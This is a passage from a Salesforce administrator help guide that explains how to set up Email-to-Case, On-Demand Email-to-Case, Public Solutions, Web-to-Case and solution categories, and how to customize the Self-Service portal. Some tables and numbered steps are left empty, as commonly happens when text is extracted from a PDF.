Before getting started, review the information in Email-to-Case Tips on page 1376.
To implement Email-to-Case, you need to add a new email routing address, verify the new email routing address, and enable
Email-to-Case.
1. Click Your Name > Setup > Customize > Cases > Email-to-Case.
From the Email-to-Case Settings page, you can:
2. On the Routing Addresses related list, select a routing source from the drop-down list.
If youre defining email routing addresses for Salesforce for Outlook users, select Outlook.
For all other email systems, select Email2Case.
3. From the Routing Addresses related list, click New. A routing address is activated after Email-to-Case is enabled.
4. Enter the routing address settings.
Setting
Description
Routing Name
Email Address
1373
Customize
Setting
Description
are created as cases using the specified settings. The email
address must be unique. Note that this is the email address
to which you will provide a link on your company's support
website.
Task Status
Case Owner
Case Priority
Case Origin
The record type used to create cases from emails sent to this
email address. If a routing address has a case record type of
None, then new cases will default to the record type of the
user configured in the Email-to-Case agent. If your
organization does not use record types, this setting is not
available.
1374
Customize
A verification email is immediately sent to the new routing address, which will not be verified until you click the verification
link in the email.
6. Click the link in the verification email.
Optionally, click Verify next to the email address on the Email Address detail page to have Salesforce send another
verification email to the new routing address.
Salesforce notifies you when the new email routing address is verified.
7. Click Continue.
8. Return to the Email-to-Case Settings page by clicking Your Name > Setup > Customize > Cases > Email-to-Case.
9. Click Edit to apply the following Email-to-Case settings:
Email-to-Case Setting
Description
Enable Email-to-Case
Email Subject
Email Body
1375
Customize
When a customer sends an email to this routing address, a case is created in your organization with the email subject as
the case Subject and the email body as the case Description.
The Priority, Case Origin, and Case Record Type fields auto-populate the case via the routing address settings
when the routing address is included in either the To, CC, or BCC fields of an inbound email. Salesforce processes the
routing address of an inbound email in the following order and stops at the first match:
1. To
2. CC
3. BCC
Note that some email applications do not automatically send BCC information. Therefore, case fields may not auto-populate
properly if the routing address is included in the BCC field of an inbound email.
To have cases that are created via Email-to-Case automatically display in the Self-Service portal, see Enabling Self-Service
Features and Settings on page 1393.
The limit on the number of emails a day that an organization can convert into cases is 2,500 per day for Professional,
Enterprise, Unlimited, and Developer Editions (total number of cases, inclusive of all email addresses). If your organization
exceeds its daily Email-to-Case limit, the following API exception code is returned to the Email-to-Case agent:
EMAIL_TO_CASE_LIMIT_EXCEEDED. You can configure the agent to take appropriate action, such as notifying
your administrator, when this occurs.
Deselect both the Email Subject and Email Body checkboxes to prevent the thread ID from being added to emails.
If you deselect both the Email Subject and Email Body checkboxes, then all incoming responses to outbound case
emails create new cases.
When you reply to email messages in the Email related list on cases, the From: field on your email may display to recipients
as no-reply@salesforce.com or support@company.com. This is due to how the recipients' email applications
receive Sender and From headers on inbound email. By default, an Enable Sender ID compliance setting is selected
for your organization, which enables email messages sent from Salesforce to comply with email applications that require
Sender headers for delivery. For more information, see Configuring Deliverability Settings on page 1034.
See Also:
Displaying and Editing Cases
Working with Case Emails
Managing Assignment Rules
Setting Up Auto-Response Rules
1376
Customize
Customize Application
This topic describes how to enable and configure On-Demand Email-to-Case using the options available on the Email-to-Case
Settings page. In addition, refer to Setting Up On-Demand Email-to-Case for the high-level steps you should perform before
and after the tasks described in this topic.
Before getting started, review the information in Tips and Considerations for On-Demand Email-to-Case on page 1381.
To enable and configure On-Demand Email-to-Case, perform the following procedures in order:
1. Enabling On-Demand Email-to-Case
2. Defining and Verifying Email Routing Addresses
3. Configuring Email-to-Case Settings
Enabling On-Demand Email-to-Case
To enable On-Demand Email-to-Case:
1. Click Your Name > Setup > Customize > Cases > Email-to-Case to open the Email-to-Case settings page.
2. Click Edit.
3. If the Support Settings page appears, click the link to select the Default Case Owner and Automated Case User. Then,
click Save. Otherwise, proceed to the next step.
4. Select the Enable Email-to-Case checkbox. Keep in mind, after you enable Email-to-Case, you cant disabled it.
5. Select the Enable On-Demand Service checkbox.
To disable On-Demand Email-to-Case at any time, clear the checkbox. You can also enable On-Demand Email-to-Case
again at any time.
6. Click Save. You will configure the remaining settings later.
Defining and Verifying Email Routing Addresses
To define and verify email routing addresses:
1. Click Your Name > Setup > Customize > Cases > Email-to-Case to open the Email-to-Case settings page.
2. On the Routing Addresses related list, select a routing source from the drop-down list.
If youre defining email routing addresses for Salesforce for Outlook users, select Outlook.
For all other email systems, select Email2Case.
1377
Customize
Description
Routing Name
Email Address
Task Status
Case Owner
Case Priority
Case Origin
The value assigned to the Case Origin field for email sent
to this email routing address.
1378
Customize
Setting
Description
The record type used to create cases from emails sent to this
email routing address.
This setting is not available if your organization does not
use record types.
The user in the Automated Case User field on the
Support Settings page will automatically receive a notification
if he or she does not have access to the selected case record
type.
5. Click Save to save the routing address settings. Alternatively, click Save & New to save the routing address, and then
create a new routing address.
You can save routing addresses only if a user is included in the Automated Case User field on the Support Settings
page. To add a user to the Automated Case User field, click Your Name > Setup > Customize > Cases > Support
Settings.
A verification email is immediately sent to the new routing address which includes a link that you click to complete the
verification process. The new routing address will not be verified until you open the email and click the link.
6. Click the link in the verification email.
When the new email routing address is verified, it is listed as Verified in the Routing Addresses related list on the
Email-to-Case Settings page. In addition, Salesforce automatically generates a unique email service address with which
you configure your email system to forward case submissions. This email services address displays in the Routing Addresses
related list on the Email-to-Case Settings page and on the detail page of a each routing address.
Tip: To send additional verification emails to a new routing address, go to the Routing Addresses related list on the
Email-to-Case Settings page and click Verify next to the email address.
After verifying a routing address, click its name in the Routing Addresses related list to view its details, edit its settings,
or clone new copies of it.
Configuring Email-to-Case Settings
To configure Email-to-Case settings:
1. Click Your Name > Setup > Customize > Cases > Email-to-Case to open the Email-to-Case settings page.
2. Click Edit.
3. As appropriate, set the following options:
On-Demand Email-to-Case Setting
Description
1379
Customize
Description
potentially malicious HTML that could harm their
computers. With this setting disabled, users will see text
instead of HTML on email message detail pages, and when
users reply to an email, the text version of the email will be
copied to the email editor, instead of the HTML version.
To disable HTML email warnings at any time, simply
deselect the checkbox.
Email Subject
Email Body
1380
Customize
Description
4. Click Save.
A Data Not Available error displays if you have an email service named EmailToCase. If you have an email service
named EmailToCase, and you wish to create routing addresses for On-Demand Email-to-Case, you must:
1. Rename the email service from EmailToCase to another name.
2. If the Enable On-Demand Service checkbox is selected for On-Demand Email-to-Case:
i. Deselect Enable On-Demand Service.
ii. Click Save.
iii. Click Edit on the Email-to-Case settings page.
iv. Select Enable On-Demand Service.
v. Click Save.
The following error message is sent to the Automated Case User after an email is converted to a case and a workflow
rule attempts to add a field value to the case that surpasses field value limits:
CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY: A workflow or approval field update caused
an error when saving this record. Contact your administrator to resolve it. When
this error occurs, any auto-response rules set up in your organization do not send a response to the user who sent the email.
You can prevent similar errors from happening by deactivating the workflow rule.
When a customer sends an email to a routing address, a case is created in your organization with the email subject as the
case Subject and the email body as the case Description.
Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case,
can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending
on how you configure over email rate limit settings for each email service. (See also failure response settings.) Salesforce
calculates the limit by multiplying the number of user licenses by 1,000, up to a daily maximum of 1,000,000. For example,
if you have ten licenses, your organization can process up to 10,000 email messages a day.
Email services limits apply to On-Demand Email-to-Case.
Text in an email that is over 128 KB is automatically truncated to fit a case record. The text is truncated to either 128 KB
or 32 KB, depending on how Salesforce has enabled On-Demand Email-to-Case for your organization.
The Priority, Case Origin, and Case Record Type fields auto-populate the case via the routing address settings
when the routing address is included in either the To, CC, or BCC fields of an inbound email.
Some email applications do not automatically send BCC information. Therefore, case fields may not auto-populate properly
if the routing address is included in the BCC field of an inbound email. Furthermore, an email may not convert to a case
properly if you include the email services address in the BCC field of an email.
If you use Microsoft Outlook to redirect emails to a routing address:
1381
Customize
This is because some versions of Outlook redirect emails with only one address in the To field and no addresses in the CC
field. To prevent these issues, consider using Microsoft Exchange Server instead of Outlook to redirect emails to a routing
address.
To have cases that are created via On-Demand Email-to-Case automatically display in the Self-Service portal, see Enabling
Self-Service Features and Settings on page 1393.
Deselect both the Email Subject and Email Body checkboxes to prevent the thread ID from being added to email.
If you deselect both the Email Subject and Email Body checkboxes, then all incoming responses to outbound case
emails create new cases.
If there is an error processing an email to a case via a routing address, a notification is sent to the Automated Case
User.
If email is sent to a routing address or email services address when On-Demand Email-to-Case is disabled, a notification
is sent to the user who created the routing address.
When you reply to email messages in the Email related list on cases, the From: field on your email may display to recipients
as no-reply@salesforce.com or support@company.com. This is due to how the recipients' email applications
receive Sender and From headers on inbound email. By default, an Enable Sender ID compliance setting is selected
for your organization, which enables email messages sent from Salesforce to comply with email applications that require
Sender headers for delivery. For more information, see Configuring Deliverability Settings on page 1034.
See Also:
Creating Workflow Rules
Setting Up Auto-Response Rules
Customize Application
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Using the Solutions tab, your customer support team can create solutions that people outside of your organization may find
helpful. Using HTML code supplied by Salesforce, and with the help of your website administrator, you can add a search box
and button to your website that allows your customers to search for solutions. This functionality is known as Public Solutions.
With public solutions, your customers can find answers to frequently asked questions without having to call your customer
support center. All solutions with a Status of Reviewed and the Visible in Public Knowledge Base field checked
will be available as public solutions, including any solution attachments.
1382
Customize
Public solutions are different from the Self-Service portal and Salesforce Customer Portal because users are not required to
log in, and they can only search for solutions, not submit cases. For more information about the Self-Service and Customer
Portal, see Setting Up Self-Service on page 1390 and Setting Up Your Customer Portal on page 1664.
Note:
The search box and button are displayed in a frame; your website must support frames in order for the solution
search feature to work.
Suggested solutions does not display Salesforce Knowledge articles.
Click Your Name > Setup > Customize > Self-Service > Public Solutions.
Click Edit.
Check Public Solutions Enabled.
If your organization uses solution categories, check Enable Solution Browsing to allow customers to browse solutions
by category. Solution categories cannot be translated into other languages for public solutions.
If multilingual solutions is enabled for your organization, you can add a language drop-down list to public solutions so
that customers can choose which language to search for solutions. For more information, see Customizing Solution Settings
on page 1389.
5. If solution category browsing is enabled, select the Top-Level Category accessible by customers in public solutions.
Customers can view all solutions in this category and its subcategories if they are marked Visible in Public Knowledge
Base.
Leave Top-Level Category blank if you want customers to view all solutions in all categories when they are visible as
public solutions.
6. If desired, you can change the appearance of the frame on your website by specifying the Maximum Page Width and
Minimum Page Height.
7. Provide the URL of your CSS page in Style Sheet URL. The CSS file does not have to exist yet; you can download a
sample file as a starting point later, or use your own file.
8. You can change the word or phrase that is used to describe solutions in the frame in Alternative Term. Provide singular
and plural versions of the term.
9. Click Save.
10. If desired, click Download Sample CSS File to get the Salesforce style sheet.
11. Click Generate HTML.
12. Copy the resulting HTML code and click Finished.
13. Send the HTML (and the CSS file, if you downloaded it) to your website administrator to be added to your site as follows:
1383
Customize
Customize Application
With Web-to-Case, you can gather customer support requests directly from your companys website and automatically generate
up to 5000 new cases a day. This can help your organization respond to customers faster, thus improving the productivity of
your support team.
Preparation
Before setting up Web-to-Case:
Create custom case fields, if needed (see About Custom Fields on page 1074).
Create a default email template for the automated notification email that will be sent to your customers upon submission
of each case (see Managing Email Templates on page 472).
Create case queues if you wish to assign incoming cases to queues as well as individual users (see Managing Queues on
page 595).
Customize the Support Settings to select the default owner of cases that fail to meet the criteria in your assignment rule
(see Customizing Support Settings on page 1366).
Create an active case assignment rule to determine how web-generated cases are assigned to users or put into queues (see
Managing Assignment Rules on page 1305). If you do not set an active assignment rule, all web-generated cases are assigned
to the default owner you specify in the Support Settings.
Setting Up Web-to-Case
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Customize Application
To set up Web-to-Case:
1. See Preparation on page 1384.
2. Click Your Name > Setup > Customize > Self-Service > Web-to-Case. This tool helps you generate the HTML code
that your webmaster can insert into your company's website.
a. Click the link to enable Web-to-Case, and check the box to turn it on.
b. Select a default response template for automatically notifying customers that their case was created.
1384
Customize
Setting Up Web-to-Case
If you set up response rules to use different email templates based on the information submitted, the default email
template is used when no response rules apply. For instructions on setting up response rules, see Setting Up
Auto-Response Rules on page 1313. Leave this option blank if you do not wish to send emails when no response rules
apply. This template must be marked as Available for Use.
c. Choose the default Origin for all Web cases, and click Save.
d. Click Generate the HTML.
Tip: Use a custom multi-select picklist to allow customers to report cases on several products at a time.
e. To select the fields to include on your Web-to-Case form, use the Add and Remove arrows to move fields between
the Available Fields list and the Selected Fields list. Use the Up and Down arrows to change the order of the fields on
your form.
For organizations using multiple currencies, add the Case Currency field to the HTML if you add any other currency
amount fields, otherwise all amounts will be captured in your corporate currency.
For organizations using record types on cases, select the Case Record Type field if you want users submitting
Web-generated cases to select specific record types.
f. If your organization uses the Self-Service portal or the Customer Portal and you want Web-generated cases to be visible
to users in these portals, select Visible in Self-Service Portal.
g. If your organization uses the Translation Workbench or has renamed tabs, select the language for the form labels
displayed on your Web-to-Case form. The source of your Web-to-Case form is always in your personal language.
h. Specify the complete URL to which customers should be directed after they submit their information, and click
Generate. This could be a thank you page or your company's home page.
3. Copy the generated HTML code and provide it to your companys webmaster so he or she can incorporate it into your
website.
4. Click Finished.
5. If you want to test the Web-to-Case form, add the line <input type="hidden" name="debug" value="1"> to
the code. This line redirects you to a debugging page when you submit the form. Don't forget to remove it before releasing
the Web-to-Case page to your website.
Note:
All Web-generated cases that are not assigned automatically via the case assignment rule are assigned to the default
case owner specified in your Support Settings page.
Whenever possible, Web-generated cases are automatically linked to the relevant contact and account based on
the customers email address.
Salesforce runs field validation rules before creating records submitted via Web-to-Case and only creates records
that have valid values. All universally required fields must have a value before a record can be created via
Web-to-Case.
The format for date and currency fields captured online is taken from your organizations default settings - Default
Locale and Currency Locale.
Salesforce doesnt support rich text area (RTA) fields on Web-to-Case forms. If you use RTA fields on your forms,
any information entered in them is saved as plain text when the case is created.
1385
Customize
If your organization exceeds its daily Web-to-Case limit, the default case owner (specified in your Support Settings
page) will receive an email containing the additional case information.
See Also:
Assigning Cases
Displaying and Editing Cases
Managing Assignment Rules
Setting Up Customer Support
Setting Up Self-Service
Setting Up Auto-Response Rules
Manage Categories
Create solution categories so that users can group similar solutions together. Once your solutions are categorized, users can
browse for and find solutions by category from the Solutions tab or when solving a case. Customers can also browse solutions
by category in public solutions, the Self-Service portal, and the Customer Portal.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
See Also:
Getting Started with Categories
Defining Solution Categories
Entering Translated Terms
1386
Customize
Manage Categories
See Also:
Managing Solution Categories
1387
Customize
3. Enter the category name. Category names cannot include the backslash \ character.
4. Select a different parent category, if desired. The parent category is the category directly above this category in the hierarchy.
5. Select a sort order for any subcategories you create under this category.
6. Click Save.
7. After creating categories, categorize your solutions. See Categorizing Solutions on page 3259. Administrators, and users
with the Manage Categories permission, can categorize solutions prior to enabling solution categories for the entire
organization.
8. Then, after categorizing solutions, turn on solution category browsing on the Solutions tab. See Customizing Solution
Settings on page 1389.
9. To enable solution category browsing for the public knowledge base or your Self-Service portal, see Enabling Public
Solutions on page 1382 and Enabling Self-Service Features and Settings on page 1393.
Editing and Deleting Categories
From the list of solution categories, you can:
Click Edit to modify the category name, parent category, or sort order.
Click Del to delete the category. The solutions associated with the category are not deleted.
Note: You cannot delete a category in use by a Salesforce Customer Portal. For more information, see Enabling
Customer Portal Login and Settings on page 1671.
See Also:
Categorizing Solutions
Entering Translated Terms
1388
Customize
Customize Application
8. Select Solution Summary to display up to 150 characters of the solution details in the solution search results. Deselecting
this checkbox removes the solution summary from the results.
1389
Customize
Setting Up Self-Service
9. Select Inline Category Breadcrumbs to display up to 150 characters of the breadcrumb trail of categories to which
the solution belongs in the search results. Deselecting this checkbox removes the breadcrumbs from the results.
10. Click Save.
11. To enable solution browsing by customers in public solutions or your Self-Service portal, see Enabling Public Solutions
on page 1382 and Enabling Self-Service Features and Settings on page 1393.
In addition, you can customize the top-level category accessible by public solutions and Self-Service users. You do not
need to modify this setting if you want customers to view all categories and all solutions that are visible in the Self-Service
portal or visible in public solutions.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
See Also:
Categorizing Solutions
Managing Solution Categories
Enabling Multilingual Solutions
Setting Up Your Customer Portal
Setting Up Self-Service
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Self-Service provides an online support channel for your customers - allowing them to resolve their inquiries without contacting
a customer service representative.
Setting up your Self-Service portal is simple. Choose from two setup options:
Jump Start - Gets you up and running quickly; see Self-Service Jump Start on page 1392.
Self-Service Setup - Complete setup which allows you more customization. The setup consists of:
Enabling Self-Service Features and Settings on page 1393
1390
Customize
See Preparation for Setting Up Your Portal to learn more about implementing Self-Service.
See Also:
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Look and Feel
Self-Service Jump Start
Administrator tip sheet: Getting the Most from Your Self-Service Portal
Administrator setup guide: Self-Service Implementation Guide
Build your public solutions - Review and mark your solutions as Visible in Self-Service Portal. Only solutions
marked Visible in Self-Service Portal can appear in the Self-Service portal or the Customer Portal. (See
Reviewing Solutions on page 3256.) For your Self-Service portal only, identify the top five solutions you want to feature on
the Home Page.
Determine the information to show and collect - Decide which case fields will be available when users view their cases.
You should also decide which fields should be required when users submit cases online and which picklist values users can
select when they solve their own cases with suggested solutions. (See Case Fields on page 3197.)
Designate the portal's location - Choose where to add your portal's login URL on your corporate website. To locate the
login URL for your Self-Service portal, see Generating Login HTML on page 1409; to locate the login URL for your
Customer Portal see Enabling Customer Portal Login and Settings on page 1671.
Customize your portal communication templates - Decide which email templates to send to users to communicate a
variety of information, such as reset passwords, notifications when public comments are added to cases, and case
auto-responses with suggested solutions.
Customize and distribute the portal tip sheet - Download the Using the Self-Service Portal and Customer Portal tip
sheet and edit it to match your portal's branding and features, such as suggested solutions and the ability to attach files to
submitted cases. Then distribute the document to your customers who want to learn how to answer their own inquiries
using your portal.
See Also:
Setting Up Self-Service
Enabling Salesforce CRM Content in the Customer Portal
1391
Customize
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Get your Self-Service portal running quickly using the Jump Start button. It automates the setup process by choosing some
default settings for you.
1.
2.
3.
4.
5.
Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings > Jump Start.
Review the process and click Continue.
Choose a color theme.
Edit the default settings as needed and click Save.
Test your Self-Service portal by:
a. Clicking Generate to retrieve a test username and password.
b. Clicking Access Self-Service Portal to preview your pages.
c. Optionally, click Invite to notify other users how to log in and preview your pages.
6. Enable your Self-Service portal by copying the link provided in the Enable Self-Service... section to an appropriate place
on your website.
7. Click Done when finished.
8. Enable your customers to use your Self-Service portal. See Managing Self-Service Users on page 1410.
Tip: To make changes to your settings, see Enabling Self-Service Features and Settings on page 1393. The Self-Service
Jump Start automatically enables the Enable Self-Service button on contact detail pages.
1392
Customize
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings.
2. Click Self-Service Setup on the Self-Service Settings page.
3. Set the following options:
Setting
Description
Login Enabled
Logout URL
The URL of the web page that will be displayed when users
log out of the Self-Service portal, for example,
http://www.acme.com. If a logout URL is not specified,
the Logout button does not display to users.
1393
Customize
Setting
Description
Top-Level Category for Self-Service Portal The top-level category accessible by customers in the
The email address from which all new user and password
emails will be sent, for example, support@acme.com.
When this field is blank, Salesforce uses:
The Automated Case User's email address for users who
receive an email with a temporary password by clicking
Forgot your password? on the Login Page of the
Self-Service portal. The Automated Case User is
specified at Your Name > Setup > Customize > Cases
> Support Settings.
The email address of the user who last posted a comment
for users who receive a case comment notification email.
1394
Customize
Setting
Description
password? on the Login Page of the Self-Service portal.
Self-Service automatically selects a sample template for you.
To create your own template or modify the sample, see
Managing Email Templates on page 472. This template must
be marked as Available for Use.
Color Theme
1395
Customize
Setting
Description
See Also:
Setting Up Self-Service
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Pages
Generating Login HTML
Managing Self-Service Users
Self-Service Jump Start
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Develop a meaningful look and feel for your entire Self-Service portal.
Follow these steps:
1396
Customize
1. Customize the headers and footers of the Self-Service pages; see Create Your Custom Page Header and Footer Sections
on page 1397.
2. Customize the Self-Service portal fonts and colors via one of these options:
Choose a predefined color theme or upload your own style sheet; see Customize the Self-Service Style Sheet on page
1398.
Customize fonts and colors using a point-and-click editor; see Customizing Your Self-Service Fonts and Colors on
page 1399.
See Also:
Customizing Your Self-Service Pages
Self-Service Jump Start
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Apply your companys branding to every page in your Self-Service portal by customizing your page headers and footers. Your
portal page headers and footers can contain a company logo, your company messaging, or your companys colors.
1.
2.
3.
4.
5.
Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings.
Click Edit next to the Page Header listed in the Portal Page Sections.
Check Show Header to display the header on your portal pages.
Check Show Header Separator to include a line separating the header from your body pages.
If desired, enter a page message. Use the format toolbar to format your page message. You cannot save any JavaScript as
part of your custom code. See Using the Format Toolbar for descriptions of the HTML formatting buttons.
Optionally, check Show HTML to view your page message in HTML code.
6.
7.
8.
9.
Click Save.
Click Edit next to the Page Footer listed in the Portal Page Sections.
Check Show Footer to display the footer on your portal pages.
Check Show Footer Separator to include a line separating the footer from your body pages.
1397
Customize
10. If desired, enter a page message. Use the format toolbar to format your page message. You cannot save any JavaScript as
part of your custom code. See Using the Format Toolbar for descriptions of the HTML formatting buttons.
Optionally, check Show HTML to view your page message in HTML code.
11. Click Save.
See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Select a predefined color theme, or download a sample Self-Service color theme so you can customize it. This color theme
allows you to incorporate your organizations branding into your Self-Service portal.
Note: To customize the Self-Service color theme using a point-and-click editor, see Customizing Your Self-Service
Fonts and Colors on page 1399.
1.
2.
3.
4.
Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings.
Click Self-Service Setup.
Click the View Color Theme Options link in the page settings section.
Find a set of fonts and colors you like and click Download This Color Theme.
To use a predefined color theme without customizing it, simply click Select This Color Theme.
5. Save the color theme you downloaded and give it to your webmaster if it needs more customization. The downloaded color
theme is a CSS style sheet that your webmaster can edit.
6. Store the downloaded style sheet in a publicly accessible location and enter the URL for your style sheet in the Style
Sheet URL field.
1398
Customize
7. Click Save.
See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Pages
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You can customize the fonts and colors of the Self-Service portal to reflect your companys branding. Your portals fonts and
colors are specified in a portal color theme. Select a predefined color theme and customize it using a point-and-click editor.
1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Fonts and Colors. Salesforce offers
predefined themes that you can customize. Click Preview to view any theme.
2. Select the color theme you want to customize.
From the color theme page, you can:
Click the Reset to Default link to remove all customizations from a theme.
Click the Back to All Themes link to return to the list of color themes.
Click Preview Theme Nameto view the theme you are customizing.
3. Choose a portal page to customize. Color themes are customized page-by-page with some page elements being shared by
multiple pages.
From the portal page, you can:
Click See Examples to see all of the elements that you can customize.
Click Clear next to an element to remove customizations.
Click Preview Theme Name to view the theme you are customizing.
Click the Back to All Pages link to return to the list of all portal pages.
1399
Customize
4. Click Edit next to the visual element you want to customize. Some elements are visible only on the selected portal page,
and some are shared across multiple portal pages. Changes you make to shared elements affect all pages.
Note: Depending on the visual element, you can customize attributes using a point-and-click editor or a custom
style sheet editor which lets you modify the cascading style sheets (CSS) directly. Choose the click here link to
switch between the two. If you are using the point-and-click editor, select the Show advanced attributes box to
access the click here link. We recommend that only users familiar with cascading style sheets (CSS) define them.
5. Edit the visual element as desired.
If you are using the point-and-click editor:
Click Edit next to a basic or advanced attribute. If you do not see the advanced attributes, select the Show advanced
attributes box.
In the popup window, change the attribute as needed.
Click OK to confirm your changes in the popup window.
If you are using the custom style sheet editor, enter valid CSS code.
For a list of all the page attributes you can edit, see Self-Service Page Attributes on page 1401.
6. Click Save to save all changes to the visual element and its attributes. Customizations are not visible to your Self-Service
users until you set the color theme as active.
7. Repeat these steps to customize all visual elements and their attributes as necessary.
8. Return to the list of color themes by clicking the Back to All Pages link and then the Back to All Themes link.
9. Click Set Active Theme.
10. Select the theme to activate for your portal, live and in real-time. Your organization can only have one active theme.
11. Click Save.
Note: Since changes to an active theme take effect immediately, we recommend that you fully customize a theme
before activating it so as not to disturb your customers.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
1400
Customize
1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings.
2. Make the necessary enhancements to any Self-Service pages. See the following for more information:
You cannot create multiple versions of the same Self-Service portal page. However, you can customize each
Self-Service page.
Salesforce Knowledge articles do not display in the Self-Service portal.
See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Self-Service Jump Start
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
The following is a list of Self-Service page attributes which can be modified with the point-and-click editor:
Page Attribute
Description
Color
1401
Customize
Page Attribute
Description
Bold
The bolded value of the text. For example, whether the text
is bolded or not.
Font size
Font
Font Family
Underline
The underline value of the text. For example, whether the text
is underlined or not.
Border Color
Border Style
Border Width
Padding
Padding Top
The amount of space to put between the top border and the
element.
Padding Right
The amount of space to put between the right border and the
element.
Padding Left
The amount of space to put between the left border and the
element.
Padding Bottom
Height
Line Height
Background Color
Background Repeat
Background Image
See Also:
Customizing Your Self-Service Fonts and Colors
1402
Customize
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You can customize the content of the Self-Service Login Page from the Self-Service Portal Pages related list. The Login Page
is the first page that users see and prompts them for a username and password. Users can click Forgot your password? to
automatically reset their passwords and receive a temporary password via email. Users are required to change their temporary
password when logging in. For details on setting up the new password template, see New Password Template on page 1394.
1. To customize this page, click Edit next to the Login Page listed.
2. Check Show Message to display your message on the login page.
3. Insert a page message. Use the format toolbar to format your page message. You cannot save any JavaScript as part of your
custom code. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 481.
Optionally, check Show HTML to view your page message in HTML code.
4. Click Save.
See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start
1403
Customize
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You can customize the content of the Self-Service Home Page from the Self-Service Portal Pages related list. The Home Page
is the first page that users see after they log in.
1. To customize this page, click Edit on the Home Page line.
2. You can enable the following features:
Feature
Description
Show Message
3. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 481.
Optionally, check Show HTML to view your page message in HTML code.
4. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 460.
5. Click Save.
6. To see how your Home Page will look, click Preview on the Home Page line. If you have customized the Self-Service
style sheet, the preview shows your custom styles.
1404
Customize
See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You can enable the Self-Service Solutions Page from the Self-Service Portal Pages related list. The Solutions Page allows
users to see solutions that have been marked Visible in Self-Service Portal and any files attached to those solutions.
1.
2.
3.
4.
5. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 460.
6. Click Save.
1405
Customize
7. To see how your Solutions Page will look, click Preview on the Solutions Page line. If you have customized the Self-Service
style sheet, the preview shows your custom styles.
See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You can enable and customize the Log a Case Page from the Self-Service Portal Pages related list. The Log a Case Page allows
users to submit new cases to your customer support team. New cases submitted from this page will be automatically created
in Self-Service and assigned to the support representative or queue defined by your case assignment rules.
1.
2.
3.
4.
To allow users to submit cases from your Self-Service portal, click Edit on the Log a Case Page line.
Select the Show Log a Case Page checkbox.
Check Show Message to display a message on this page.
If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 481.
Optionally, check Show HTML to view your page message in HTML code.
5. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 460.
6. Click Save.
7. To change the fields that display on the page, click the Page Layout link. For more information on changing the page
layout, see Customizing Page Layouts on page 1278.
Note: If a case field is tied to a validation rule, the rule can prevent Self-Service portal users from logging a case
if they do not have access to fill in that field. Consider making those fields visible on the Log A Case page.
1406
Customize
See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You can enable and customize the View Cases Page from the Self-Service Portal Pages related list. The View Cases Page
allows users to view their open and closed cases, related solutions, completed activities, comments, and (optionally) to add
comments to their cases.
1. Click Edit on the View Cases Page line.
2. Select the Show View Cases Page box to allow users to view their open and closed cases.
3. Select Add Comments to Cases to allow users to add comments to their cases. When a user adds a comment, an
email is automatically sent to the case owner.
